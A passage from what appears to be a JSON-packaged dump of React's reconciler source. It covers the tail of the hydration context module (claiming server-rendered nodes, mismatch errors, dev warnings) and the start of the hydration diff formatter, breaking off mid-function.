(!supportsHydration) {\n    return false;\n  }\n\n  const parentInstance: Container = fiber.stateNode.containerInfo;\n  nextHydratableInstance =\n    getFirstHydratableChildWithinContainer(parentInstance);\n  hydrationParentFiber = fiber;\n  isHydrating = true;\n  hydrationErrors = null;\n  didSuspendOrErrorDEV = false;\n  hydrationDiffRootDEV = null;\n  rootOrSingletonContext = true;\n\n  return true;\n}\n\nfunction reenterHydrationStateFromDehydratedActivityInstance(\n  fiber: Fiber,\n  activityInstance: ActivityInstance,\n  treeContext: TreeContext | null,\n): boolean {\n  if (!supportsHydration) {\n    return false;\n  }\n  nextHydratableInstance =\n    getFirstHydratableChildWithinActivityInstance(activityInstance);\n  hydrationParentFiber = fiber;\n  isHydrating = true;\n  hydrationErrors = null;\n  didSuspendOrErrorDEV = false;\n  hydrationDiffRootDEV = null;\n  rootOrSingletonContext = false;\n  if (treeContext !== null) {\n    restoreSuspendedTreeContext(fiber, treeContext);\n  }\n  return true;\n}\n\nfunction reenterHydrationStateFromDehydratedSuspenseInstance(\n  fiber: Fiber,\n  suspenseInstance: SuspenseInstance,\n  treeContext: TreeContext | null,\n): boolean {\n  if (!supportsHydration) {\n    return false;\n  }\n  nextHydratableInstance =\n    getFirstHydratableChildWithinSuspenseInstance(suspenseInstance);\n  hydrationParentFiber = fiber;\n  isHydrating = true;\n  hydrationErrors = null;\n  didSuspendOrErrorDEV = false;\n  hydrationDiffRootDEV = null;\n  rootOrSingletonContext = false;\n  if (treeContext !== null) {\n    restoreSuspendedTreeContext(fiber, treeContext);\n  }\n  return true;\n}\n\nfunction warnNonHydratedInstance(\n  fiber: Fiber,\n  rejectedCandidate: null | HydratableInstance,\n) {\n  if (__DEV__) {\n    if (didSuspendOrErrorDEV) {\n      // Inside a boundary that already suspended. We're currently rendering the\n      // siblings of a suspended node. The mismatch may be due to the missing\n      // data, so it's probably a false positive.\n      return;\n    }\n\n    // Add this fiber to the diff tree.\n    const diffNode = buildHydrationDiffNode(fiber, 0);\n    // We use null as a signal that there was no node to match.\n    diffNode.serverProps = null;\n    if (rejectedCandidate !== null) {\n      const description =\n        describeHydratableInstanceForDevWarnings(rejectedCandidate);\n      diffNode.serverTail.push(description);\n    }\n  }\n}\n\nfunction tryHydrateInstance(\n  fiber: Fiber,\n  nextInstance: any,\n  hostContext: HostContext,\n) {\n  // fiber is a HostComponent Fiber\n  const instance = canHydrateInstance(\n    nextInstance,\n    fiber.type,\n    fiber.pendingProps,\n    rootOrSingletonContext,\n  );\n  if (instance !== null) {\n    fiber.stateNode = (instance: Instance);\n\n    if (__DEV__) {\n      if (!didSuspendOrErrorDEV) {\n        const differences = diffHydratedPropsForDevWarnings(\n          instance,\n          fiber.type,\n          fiber.pendingProps,\n          hostContext,\n        );\n        if (differences !== null) {\n          const diffNode = buildHydrationDiffNode(fiber, 0);\n          diffNode.serverProps = differences;\n        }\n      }\n    }\n\n    hydrationParentFiber = fiber;\n    nextHydratableInstance = getFirstHydratableChild(instance);\n    rootOrSingletonContext = false;\n    return true;\n  }\n  return false;\n}\n\nfunction tryHydrateText(fiber: Fiber, nextInstance: any) {\n  // fiber is a HostText Fiber\n  const text = fiber.pendingProps;\n  const textInstance = canHydrateTextInstance(\n    nextInstance,\n    text,\n    rootOrSingletonContext,\n  );\n  if (textInstance !== null) {\n    fiber.stateNode = (textInstance: TextInstance);\n    hydrationParentFiber = fiber;\n    // Text Instances don't have children so there's nothing to hydrate.\n    nextHydratableInstance = null;\n    return true;\n  }\n  return false;\n}\n\nfunction tryHydrateActivity(\n  fiber: Fiber,\n  nextInstance: any,\n): null | ActivityInstance {\n  // fiber is a ActivityComponent Fiber\n  const activityInstance = canHydrateActivityInstance(\n    nextInstance,\n    rootOrSingletonContext,\n  );\n  if (activityInstance !== null) {\n    const activityState: ActivityState = {\n      dehydrated: activityInstance,\n      treeContext: getSuspendedTreeContext(),\n      retryLane: OffscreenLane,\n      hydrationErrors: null,\n    };\n    fiber.memoizedState = activityState;\n    // Store the dehydrated fragment as a child fiber.\n    // This simplifies the code for getHostSibling and deleting nodes,\n    // since it doesn't have to consider all Suspense boundaries and\n    // check if they're dehydrated ones or not.\n    const dehydratedFragment =\n      createFiberFromDehydratedFragment(activityInstance);\n    dehydratedFragment.return = fiber;\n    fiber.child = dehydratedFragment;\n    hydrationParentFiber = fiber;\n    // While an Activity Instance does have children, we won't step into\n    // it during the first pass. Instead, we'll reenter it later.\n    nextHydratableInstance = null;\n  }\n  return activityInstance;\n}\n\nfunction tryHydrateSuspense(\n  fiber: Fiber,\n  nextInstance: any,\n): null | SuspenseInstance {\n  // fiber is a SuspenseComponent Fiber\n  const suspenseInstance = canHydrateSuspenseInstance(\n    nextInstance,\n    rootOrSingletonContext,\n  );\n  if (suspenseInstance !== null) {\n    const suspenseState: SuspenseState = {\n      dehydrated: suspenseInstance,\n      treeContext: getSuspendedTreeContext(),\n      retryLane: OffscreenLane,\n      hydrationErrors: null,\n    };\n    fiber.memoizedState = suspenseState;\n    // Store the dehydrated fragment as a child fiber.\n    // This simplifies the code for getHostSibling and deleting nodes,\n    // since it doesn't have to consider all Suspense boundaries and\n    // check if they're dehydrated ones or not.\n    const dehydratedFragment =\n      createFiberFromDehydratedFragment(suspenseInstance);\n    dehydratedFragment.return = fiber;\n    fiber.child = dehydratedFragment;\n    hydrationParentFiber = fiber;\n    // While a Suspense Instance does have children, we won't step into\n    // it during the first pass. Instead, we'll reenter it later.\n    nextHydratableInstance = null;\n  }\n  return suspenseInstance;\n}\n\nexport const HydrationMismatchException: mixed = new Error(\n  'Hydration Mismatch Exception: This is not a real error, and should not leak into ' +\n    \"userspace. If you're seeing this, it's likely a bug in React.\",\n);\n\nfunction throwOnHydrationMismatch(fiber: Fiber, fromText: boolean = false) {\n  let diff = '';\n  if (__DEV__) {\n    // Consume the diff root for this mismatch.\n    // Any other errors will get their own diffs.\n    const diffRoot = hydrationDiffRootDEV;\n    if (diffRoot !== null) {\n      hydrationDiffRootDEV = null;\n      diff = describeDiff(diffRoot);\n    }\n  }\n  const error = new Error(\n    `Hydration failed because the server rendered ${fromText ? 'text' : 'HTML'} didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n` +\n      '\\n' +\n      \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n      \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n      \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n      '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n      '- Invalid HTML tag nesting.\\n' +\n      '\\n' +\n      'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n' +\n      '\\n' +\n      'https://react.dev/link/hydration-mismatch' +\n      diff,\n  );\n  queueHydrationError(createCapturedValueAtFiber(error, fiber));\n  throw HydrationMismatchException;\n}\n\nfunction claimHydratableSingleton(fiber: Fiber): void {\n  if (supportsSingletons) {\n    if (!isHydrating) {\n      return;\n    }\n    const currentRootContainer = getRootHostContainer();\n    const currentHostContext = getHostContext();\n    const instance = (fiber.stateNode = resolveSingletonInstance(\n      fiber.type,\n      fiber.pendingProps,\n      currentRootContainer,\n      currentHostContext,\n      false,\n    ));\n\n    if (__DEV__) {\n      if (!didSuspendOrErrorDEV) {\n        const differences = diffHydratedPropsForDevWarnings(\n          instance,\n          fiber.type,\n          fiber.pendingProps,\n          currentHostContext,\n        );\n        if (differences !== null) {\n          const diffNode = buildHydrationDiffNode(fiber, 0);\n          diffNode.serverProps = differences;\n        }\n      }\n    }\n\n    hydrationParentFiber = fiber;\n    rootOrSingletonContext = true;\n    nextHydratableInstance = getFirstHydratableChildWithinSingleton(\n      fiber.type,\n      instance,\n      nextHydratableInstance,\n    );\n  }\n}\n\nfunction tryToClaimNextHydratableInstance(fiber: Fiber): void {\n  if (!isHydrating) {\n    return;\n  }\n\n  // Validate that this is ok to render here before any mismatches.\n  const currentHostContext = getHostContext();\n  const shouldKeepWarning = validateHydratableInstance(\n    fiber.type,\n    fiber.pendingProps,\n    currentHostContext,\n  );\n\n  const nextInstance = nextHydratableInstance;\n  if (\n    !nextInstance ||\n    !tryHydrateInstance(fiber, nextInstance, currentHostContext)\n  ) {\n    if (shouldKeepWarning) {\n      warnNonHydratedInstance(fiber, nextInstance);\n    }\n    throwOnHydrationMismatch(fiber);\n  }\n}\n\nfunction tryToClaimNextHydratableTextInstance(fiber: Fiber): void {\n  if (!isHydrating) {\n    return;\n  }\n  const text = fiber.pendingProps;\n\n  let shouldKeepWarning = true;\n  // Validate that this is ok to render here before any mismatches.\n  const currentHostContext = getHostContext();\n  shouldKeepWarning = validateHydratableTextInstance(text, currentHostContext);\n\n  const nextInstance = nextHydratableInstance;\n  if (!nextInstance || !tryHydrateText(fiber, nextInstance)) {\n    if (shouldKeepWarning) {\n      warnNonHydratedInstance(fiber, nextInstance);\n    }\n    throwOnHydrationMismatch(fiber);\n  }\n}\n\nfunction claimNextHydratableActivityInstance(fiber: Fiber): ActivityInstance {\n  const nextInstance = nextHydratableInstance;\n  const activityInstance = nextInstance\n    ? tryHydrateActivity(fiber, nextInstance)\n    : null;\n  if (activityInstance === null) {\n    warnNonHydratedInstance(fiber, nextInstance);\n    throw throwOnHydrationMismatch(fiber);\n  }\n  return activityInstance;\n}\n\nfunction claimNextHydratableSuspenseInstance(fiber: Fiber): SuspenseInstance {\n  const nextInstance = nextHydratableInstance;\n  const suspenseInstance = nextInstance\n    ? tryHydrateSuspense(fiber, nextInstance)\n    : null;\n  if (suspenseInstance === null) {\n    warnNonHydratedInstance(fiber, nextInstance);\n    throw throwOnHydrationMismatch(fiber);\n  }\n  return suspenseInstance;\n}\n\nexport function tryToClaimNextHydratableFormMarkerInstance(\n  fiber: Fiber,\n): boolean {\n  if (!isHydrating) {\n    return false;\n  }\n  if (nextHydratableInstance) {\n    const markerInstance = canHydrateFormStateMarker(\n      nextHydratableInstance,\n      rootOrSingletonContext,\n    );\n    if (markerInstance) {\n      // Found the marker instance.\n      nextHydratableInstance = getNextHydratableSibling(markerInstance);\n      // Return true if this marker instance should use the state passed\n      // to hydrateRoot.\n      // TODO: As an optimization, Fizz should only emit these markers if form\n      // state is passed at the root.\n      return isFormStateMarkerMatching(markerInstance);\n    }\n  }\n  // Should have found a marker instance. Throw an error to trigger client\n  // rendering. We don't bother to check if we're in a concurrent root because\n  // useActionState is a new API, so backwards compat is not an issue.\n  throwOnHydrationMismatch(fiber);\n  return false;\n}\n\nfunction prepareToHydrateHostInstance(\n  fiber: Fiber,\n  hostContext: HostContext,\n): void {\n  if (!supportsHydration) {\n    throw new Error(\n      'Expected prepareToHydrateHostInstance() to never be called. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  const instance: Instance = fiber.stateNode;\n  const didHydrate = hydrateInstance(\n    instance,\n    fiber.type,\n    fiber.memoizedProps,\n    hostContext,\n    fiber,\n  );\n  if (!didHydrate) {\n    throwOnHydrationMismatch(fiber, true);\n  }\n}\n\nfunction prepareToHydrateHostTextInstance(fiber: Fiber): void {\n  if (!supportsHydration) {\n    throw new Error(\n      'Expected prepareToHydrateHostTextInstance() to never be called. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  const textInstance: TextInstance = fiber.stateNode;\n  const textContent: string = fiber.memoizedProps;\n  const shouldWarnIfMismatchDev = !didSuspendOrErrorDEV;\n  let parentProps = null;\n  // We assume that prepareToHydrateHostTextInstance is called in a context where the\n  // hydration parent is the parent host component of this host text.\n  const returnFiber = hydrationParentFiber;\n  if (returnFiber !== null) {\n    switch (returnFiber.tag) {\n      case HostRoot: {\n        if (__DEV__) {\n          if (shouldWarnIfMismatchDev) {\n            const difference = diffHydratedTextForDevWarnings(\n              textInstance,\n              textContent,\n              parentProps,\n            );\n            if (difference !== null) {\n              const diffNode = buildHydrationDiffNode(fiber, 0);\n              diffNode.serverProps = difference;\n            }\n          }\n        }\n        break;\n      }\n      case HostSingleton:\n      case HostComponent: {\n        parentProps = returnFiber.memoizedProps;\n        if (__DEV__) {\n          if (shouldWarnIfMismatchDev) {\n            const difference = diffHydratedTextForDevWarnings(\n              textInstance,\n              textContent,\n              parentProps,\n            );\n            if (difference !== null) {\n              const diffNode = buildHydrationDiffNode(fiber, 0);\n              diffNode.serverProps = difference;\n            }\n          }\n        }\n        break;\n      }\n    }\n    // TODO: What if it's a SuspenseInstance?\n  }\n\n  const didHydrate = hydrateTextInstance(\n    textInstance,\n    textContent,\n    fiber,\n    parentProps,\n  );\n  if (!didHydrate) {\n    throwOnHydrationMismatch(fiber, true);\n  }\n}\n\nfunction prepareToHydrateHostActivityInstance(fiber: Fiber): void {\n  if (!supportsHydration) {\n    throw new Error(\n      'Expected prepareToHydrateHostActivityInstance() to never be called. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n  const activityState: null | ActivityState = fiber.memoizedState;\n  const activityInstance: null | ActivityInstance =\n    activityState !== null ? activityState.dehydrated : null;\n\n  if (!activityInstance) {\n    throw new Error(\n      'Expected to have a hydrated activity instance. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  hydrateActivityInstance(activityInstance, fiber);\n}\n\nfunction prepareToHydrateHostSuspenseInstance(fiber: Fiber): void {\n  if (!supportsHydration) {\n    throw new Error(\n      'Expected prepareToHydrateHostSuspenseInstance() to never be called. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  const suspenseState: null | SuspenseState = fiber.memoizedState;\n  const suspenseInstance: null | SuspenseInstance =\n    suspenseState !== null ? suspenseState.dehydrated : null;\n\n  if (!suspenseInstance) {\n    throw new Error(\n      'Expected to have a hydrated suspense instance. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  hydrateSuspenseInstance(suspenseInstance, fiber);\n}\n\nfunction skipPastDehydratedActivityInstance(\n  fiber: Fiber,\n): null | HydratableInstance {\n  const activityState: null | ActivityState = fiber.memoizedState;\n  const activityInstance: null | ActivityInstance =\n    activityState !== null ? activityState.dehydrated : null;\n\n  if (!activityInstance) {\n    throw new Error(\n      'Expected to have a hydrated suspense instance. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  return getNextHydratableInstanceAfterActivityInstance(activityInstance);\n}\n\nfunction skipPastDehydratedSuspenseInstance(\n  fiber: Fiber,\n): null | HydratableInstance {\n  if (!supportsHydration) {\n    throw new Error(\n      'Expected skipPastDehydratedSuspenseInstance() to never be called. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n  const suspenseState: null | SuspenseState = fiber.memoizedState;\n  const suspenseInstance: null | SuspenseInstance =\n    suspenseState !== null ? suspenseState.dehydrated : null;\n\n  if (!suspenseInstance) {\n    throw new Error(\n      'Expected to have a hydrated suspense instance. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n\n  return getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance);\n}\n\nfunction popToNextHostParent(fiber: Fiber): void {\n  hydrationParentFiber = fiber.return;\n  while (hydrationParentFiber) {\n    switch (hydrationParentFiber.tag) {\n      case HostComponent:\n      case ActivityComponent:\n      case SuspenseComponent:\n        rootOrSingletonContext = false;\n        return;\n      case HostSingleton:\n      case HostRoot:\n        rootOrSingletonContext = true;\n        return;\n      default:\n        hydrationParentFiber = hydrationParentFiber.return;\n    }\n  }\n}\n\nfunction popHydrationState(fiber: Fiber): boolean {\n  if (!supportsHydration) {\n    return false;\n  }\n  if (fiber !== hydrationParentFiber) {\n    // We're deeper than the current hydration context, inside an inserted\n    // tree.\n    return false;\n  }\n  if (!isHydrating) {\n    // If we're not currently hydrating but we're in a hydration context, then\n    // we were an insertion and now need to pop up reenter hydration of our\n    // siblings.\n    popToNextHostParent(fiber);\n    isHydrating = true;\n    return false;\n  }\n\n  const tag = fiber.tag;\n\n  if (supportsSingletons) {\n    // With float we never clear the Root, or Singleton instances. We also do not clear Instances\n    // that have singleton text content\n    if (\n      tag !== HostRoot &&\n      tag !== HostSingleton &&\n      !(\n        tag === HostComponent &&\n        (!shouldDeleteUnhydratedTailInstances(fiber.type) ||\n          shouldSetTextContent(fiber.type, fiber.memoizedProps))\n      )\n    ) {\n      const nextInstance = nextHydratableInstance;\n      if (nextInstance) {\n        warnIfUnhydratedTailNodes(fiber);\n        throwOnHydrationMismatch(fiber);\n      }\n    }\n  } else {\n    // If we have any remaining hydratable nodes, we need to delete them now.\n    // We only do this deeper than head and body since they tend to have random\n    // other nodes in them. We also ignore components with pure text content in\n    // side of them. We also don't delete anything inside the root container.\n    if (\n      tag !== HostRoot &&\n      (tag !== HostComponent ||\n        (shouldDeleteUnhydratedTailInstances(fiber.type) &&\n          !shouldSetTextContent(fiber.type, fiber.memoizedProps)))\n    ) {\n      const nextInstance = nextHydratableInstance;\n      if (nextInstance) {\n        warnIfUnhydratedTailNodes(fiber);\n        throwOnHydrationMismatch(fiber);\n      }\n    }\n  }\n  popToNextHostParent(fiber);\n  if (tag === SuspenseComponent) {\n    nextHydratableInstance = skipPastDehydratedSuspenseInstance(fiber);\n  } else if (tag === ActivityComponent) {\n    nextHydratableInstance = skipPastDehydratedActivityInstance(fiber);\n  } else if (supportsSingletons && tag === HostSingleton) {\n    nextHydratableInstance = getNextHydratableSiblingAfterSingleton(\n      fiber.type,\n      nextHydratableInstance,\n    );\n  } else {\n    nextHydratableInstance = hydrationParentFiber\n      ? getNextHydratableSibling(fiber.stateNode)\n      : null;\n  }\n  return true;\n}\n\nfunction warnIfUnhydratedTailNodes(fiber: Fiber) {\n  if (__DEV__) {\n    let nextInstance = nextHydratableInstance;\n    while (nextInstance) {\n      const diffNode = buildHydrationDiffNode(fiber, 0);\n      const description =\n        describeHydratableInstanceForDevWarnings(nextInstance);\n      diffNode.serverTail.push(description);\n      if (description.type === 'Suspense') {\n        const suspenseInstance: SuspenseInstance = (nextInstance: any);\n        nextInstance =\n          getNextHydratableInstanceAfterSuspenseInstance(suspenseInstance);\n      } else {\n        nextInstance = getNextHydratableSibling(nextInstance);\n      }\n    }\n  }\n}\n\nfunction resetHydrationState(): void {\n  if (!supportsHydration) {\n    return;\n  }\n\n  hydrationParentFiber = null;\n  nextHydratableInstance = null;\n  isHydrating = false;\n  didSuspendOrErrorDEV = false;\n}\n\n// Restore the hydration cursor when unwinding a HostComponent that already\n// claimed a DOM node. This is a fork of popHydrationState that does all the\n// same validity checks but restores the cursor to this fiber's DOM node\n// instead of advancing past it. It also does NOT clear unhydrated tail nodes\n// or throw on mismatches since we're unwinding, not completing.\n//\n// This is needed when replaySuspendedUnitOfWork calls unwindInterruptedWork\n// before re-running beginWork on the same fiber, or when throwAndUnwindWorkLoop\n// calls unwindWork on ancestor fibers.\nfunction popHydrationStateOnInterruptedWork(fiber: Fiber): void {\n  if (!supportsHydration) {\n    return;\n  }\n  if (fiber !== hydrationParentFiber) {\n    // We're deeper than the current hydration context, inside an inserted\n    // tree. Don't touch the cursor.\n    return;\n  }\n  if (!isHydrating) {\n    // If we're not currently hydrating but we're in a hydration context, then\n    // we were an insertion and now need to pop up to reenter hydration of our\n    // siblings. Same as popHydrationState.\n    popToNextHostParent(fiber);\n    isHydrating = true;\n    return;\n  }\n\n  // We're in a valid hydration context. Restore the cursor to this fiber's\n  // DOM node so that when beginWork re-runs, it can claim the same node.\n  // Unlike popHydrationState, we do NOT check for unhydrated tail nodes\n  // or advance the cursor - we're restoring, not completing.\n  popToNextHostParent(fiber);\n  if (fiber.tag === HostComponent && fiber.stateNode != null) {\n    nextHydratableInstance = fiber.stateNode;\n  }\n}\n\nexport function upgradeHydrationErrorsToRecoverable(): Array<\n  CapturedValue<mixed>,\n> | null {\n  const queuedErrors = hydrationErrors;\n  if (queuedErrors !== null) {\n    // Successfully completed a forced client render. The errors that occurred\n    // during the hydration attempt are now recovered. We will log them in\n    // commit phase, once the entire tree has finished.\n    queueRecoverableErrors(queuedErrors);\n    hydrationErrors = null;\n  }\n  return queuedErrors;\n}\n\nfunction getIsHydrating(): boolean {\n  return isHydrating;\n}\n\nexport function queueHydrationError(error: CapturedValue<mixed>): void {\n  if (hydrationErrors === null) {\n    hydrationErrors = [error];\n  } else {\n    hydrationErrors.push(error);\n  }\n}\n\nexport function emitPendingHydrationWarnings() {\n  if (__DEV__) {\n    // If we haven't yet thrown any hydration errors by the time we reach the end we've successfully\n    // hydrated, however, we might still have DEV-only mismatches that we log now.\n    const diffRoot = hydrationDiffRootDEV;\n    if (diffRoot !== null) {\n      hydrationDiffRootDEV = null;\n      const diff = describeDiff(diffRoot);\n\n      // Just pick the DFS-first leaf as the owner.\n      // Should be good enough since most warnings only have a single error.\n      let diffOwner: HydrationDiffNode = diffRoot;\n      while (diffOwner.children.length > 0) {\n        diffOwner = diffOwner.children[0];\n      }\n\n      runWithFiberInDEV(diffOwner.fiber, () => {\n        console.error(\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. \" +\n            'This can happen if a SSR-ed Client Component used:\\n' +\n            '\\n' +\n            \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n            \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n            \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n            '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n            '- Invalid HTML tag nesting.\\n' +\n            '\\n' +\n            'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n' +\n            '\\n' +\n            '%s%s',\n          'https://react.dev/link/hydration-mismatch',\n          diff,\n        );\n      });\n    }\n  }\n}\n\nexport {\n  warnIfHydrating,\n  enterHydrationState,\n  getIsHydrating,\n  reenterHydrationStateFromDehydratedActivityInstance,\n  reenterHydrationStateFromDehydratedSuspenseInstance,\n  resetHydrationState,\n  popHydrationStateOnInterruptedWork,\n  claimHydratableSingleton,\n  tryToClaimNextHydratableInstance,\n  tryToClaimNextHydratableTextInstance,\n  claimNextHydratableActivityInstance,\n  claimNextHydratableSuspenseInstance,\n  prepareToHydrateHostInstance,\n  prepareToHydrateHostTextInstance,\n  prepareToHydrateHostActivityInstance,\n  prepareToHydrateHostSuspenseInstance,\n  popHydrationState,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberHydrationDiffs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nimport {\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  LazyComponent,\n  ActivityComponent,\n  SuspenseComponent,\n  SuspenseListComponent,\n  FunctionComponent,\n  ForwardRef,\n  SimpleMemoComponent,\n  ClassComponent,\n  HostText,\n} from './ReactWorkTags';\n\nimport {enableSrcObject} from 'shared/ReactFeatureFlags';\n\nimport {REACT_ELEMENT_TYPE} from 'shared/ReactSymbols';\nimport assign from 'shared/assign';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\n\nimport isArray from 'shared/isArray';\n\nexport type HydrationDiffNode = {\n  fiber: Fiber,\n  children: Array<HydrationDiffNode>,\n  serverProps: void | null | $ReadOnly<{[propName: string]: mixed}> | string, // null means no matching server node\n  serverTail: Array<\n    | $ReadOnly<{type: string, props: $ReadOnly<{[propName: string]: mixed}>}>\n    | string,\n  >,\n  distanceFromLeaf: number,\n};\n\nconst maxRowLength = 120;\nconst idealDepth = 15;\n\nfunction findNotableNode(\n  node: HydrationDiffNode,\n  indent: number,\n): HydrationDiffNode {\n  if (\n    node.serverProps === undefined &&\n    node.serverTail.length === 0 &&\n    node.children.length === 1 &&\n    node.distanceFromLeaf > 3 &&\n    node.distanceFromLeaf > idealDepth - indent\n  ) {\n    // This is not an interesting node for contextual purposes so we can skip it.\n    const child = node.children[0];\n    return findNotableNode(child, indent);\n  }\n  return node;\n}\n\nfunction indentation(indent: number): string {\n  return '  ' + '  '.repeat(indent);\n}\n\nfunction added(indent: number): string {\n  return '+ ' + '  '.repeat(indent);\n}\n\nfunction removed(indent: number): string {\n  return '- ' + '  '.repeat(indent);\n}\n\nfunction describeFiberType(fiber: Fiber): null | string {\n  switch (fiber.tag) {\n    case HostHoistable:\n    case HostSingleton:\n    case HostComponent:\n      return fiber.type;\n    case LazyComponent:\n      return 'Lazy';\n    case ActivityComponent:\n      return 'Activity';\n    case SuspenseComponent:\n      return 'Suspense';\n    case SuspenseListComponent:\n      return 'SuspenseList';\n    case FunctionComponent:\n    case SimpleMemoComponent:\n      const fn = fiber.type;\n      return fn.displayName || fn.name || null;\n    case ForwardRef:\n      const render = fiber.type.render;\n      return render.displayName || render.name || null;\n    case ClassComponent:\n      const ctr = fiber.type;\n      return ctr.displayName || ctr.name || null;\n    default:\n      // Skip\n      return null;\n  }\n}\n\nconst needsEscaping = /[\"'&<>\\n\\t]|^\\s|\\s$/;\n\nfunction describeTextNode(content: string, maxLength: number): string {\n  if (needsEscaping.test(content)) {\n    const encoded = JSON.stringify(content);\n    if (encoded.length > maxLength - 2) {\n      if (maxLength < 8) {\n        return '{\"...\"}';\n      }\n      return '{' + encoded.slice(0, maxLength - 7) + '...\"}';\n    }\n    return '{' + encoded + '}';\n  } else {\n    if (content.length > maxLength) {\n      if (maxLength < 5) {\n        return '{\"...\"}';\n      }\n      return content.slice(0, maxLength - 3) + '...';\n    }\n    return content;\n  }\n}\n\nfunction describeTextDiff(\n  clientText: string,\n  serverProps: mixed,\n  indent: number,\n): string {\n  const maxLength = maxRowLength - indent * 2;\n  if (serverProps === null) {\n    return added(indent) + describeTextNode(clientText, maxLength) + '\\n';\n  } else if (typeof serverProps === 'string') {\n    let serverText: string = serverProps;\n    let firstDiff = 0;\n    for (\n      ;\n      firstDiff < serverText.length && firstDiff < clientText.length;\n      firstDiff++\n    ) {\n      if (\n        serverText.charCodeAt(firstDiff) !== clientText.charCodeAt(firstDiff)\n      ) {\n        break;\n      }\n    }\n    if (firstDiff > maxLength - 8 && firstDiff > 10) {\n      // The first difference between the two strings would be cut off, so cut off in\n      // the beginning instead.\n      clientText = '...' + clientText.slice(firstDiff - 8);\n      serverText = '...' + serverText.slice(firstDiff - 8);\n    }\n    return (\n      added(indent) +\n      describeTextNode(clientText, maxLength) +\n      '\\n' +\n      removed(indent) +\n      describeTextNode(serverText, maxLength) +\n      '\\n'\n    );\n  } else {\n    return indentation(indent) + describeTextNode(clientText, maxLength) + '\\n';\n  }\n}\n\nfunction objectName(object: mixed): string {\n  // $FlowFixMe[method-unbinding]\n  const name = Object.prototype.toString.call(object);\n  return name.replace(/^\\[object (.*)\\]$/, function (m, p0) {\n    return p0;\n  });\n}\n\nfunction describeValue(value: mixed, maxLength: number): string {\n  switch (typeof value) {\n    case 'string': {\n      const encoded = JSON.stringify(value);\n      if (encoded.length > maxLength) {\n        if (maxLength < 5) {\n          return '\"...\"';\n        }\n        return encoded.slice(0, maxLength - 4) + '...\"';\n      }\n      return encoded;\n    }\n    case 'object': {\n      if (value === null) {\n        return 'null';\n      }\n      if (isArray(value)) {\n        return '[...]';\n      }\n      if ((value: any).$$typeof === REACT_ELEMENT_TYPE) {\n        const type = getComponentNameFromType((value: any).type);\n        return type ? '<' + type + '>' : '<...>';\n      }\n      const name = objectName(value);\n      if (name === 'Object') {\n        let properties = '';\n        maxLength -= 2;\n        for (let propName in value) {\n          if (!value.hasOwnProperty(propName)) {\n            continue;\n          }\n          const jsonPropName = JSON.stringify(propName);\n          if (jsonPropName !== '\"' + propName + '\"') {\n            propName = jsonPropName;\n          }\n          maxLength -= propName.length - 2;\n          const propValue = describeValue(\n            value[propName],\n            maxLength < 15 ? maxLength : 15,\n          );\n          maxLength -= propValue.length;\n          if (maxLength < 0) {\n            properties += properties === '' ? '...' : ', ...';\n            break;\n          }\n          properties +=\n            (properties === '' ? '' : ',') + propName + ':' + propValue;\n        }\n        return '{' + properties + '}';\n      } else if (enableSrcObject && (name === 'Blob' || name === 'File')) {\n        return name + ':' + (value: any).type;\n      }\n      return name;\n    }\n    case 'function': {\n      const name = (value: any).displayName || value.name;\n      return name ? 'function ' + name : 'function';\n    }\n    default:\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      return String(value);\n  }\n}\n\nfunction describePropValue(value: mixed, maxLength: number): string {\n  if (typeof value === 'string' && !needsEscaping.test(value)) {\n    if (value.length > maxLength - 2) {\n      if (maxLength < 5) {\n        return '\"...\"';\n      }\n      return '\"' + value.slice(0, maxLength - 5) + '...\"';\n    }\n    return '\"' + value + '\"';\n  }\n  return '{' + describeValue(value, maxLength - 2) + '}';\n}\n\nfunction describeCollapsedElement(\n  type: string,\n  props: {[propName: string]: mixed},\n  indent: number,\n): string {\n  // This function tries to fit the props into a single line for non-essential elements.\n  // We also ignore children because we're not going deeper.\n\n  let maxLength = maxRowLength - indent * 2 - type.length - 2;\n\n  let content = '';\n\n  for (const propName in props) {\n    if (!props.hasOwnProperty(propName)) {\n      continue;\n    }\n    if (propName === 'children') {\n      // Ignored.\n      continue;\n    }\n    const propValue = describePropValue(props[propName], 15);\n    maxLength -= propName.length + propValue.length + 2;\n    if (maxLength < 0) {\n      content += ' ...';\n      break;\n    }\n    content += ' ' + propName + '=' + propValue;\n  }\n\n  return indentation(indent) + '<' + type + content + '>\\n';\n}\n\nfunction describeExpandedElement(\n  type: string,\n  props: {+[propName: string]: mixed},\n  rowPrefix: string,\n): string {\n  // This function tries to fit the props into a single line for non-essential elements.\n  // We also ignore children because we're not going deeper.\n\n  let remainingRowLength = maxRowLength - rowPrefix.length - type.length;\n\n  // We add the properties to a set so we can choose later whether we'll put it on one\n  // line or multiple lines.\n\n  const properties 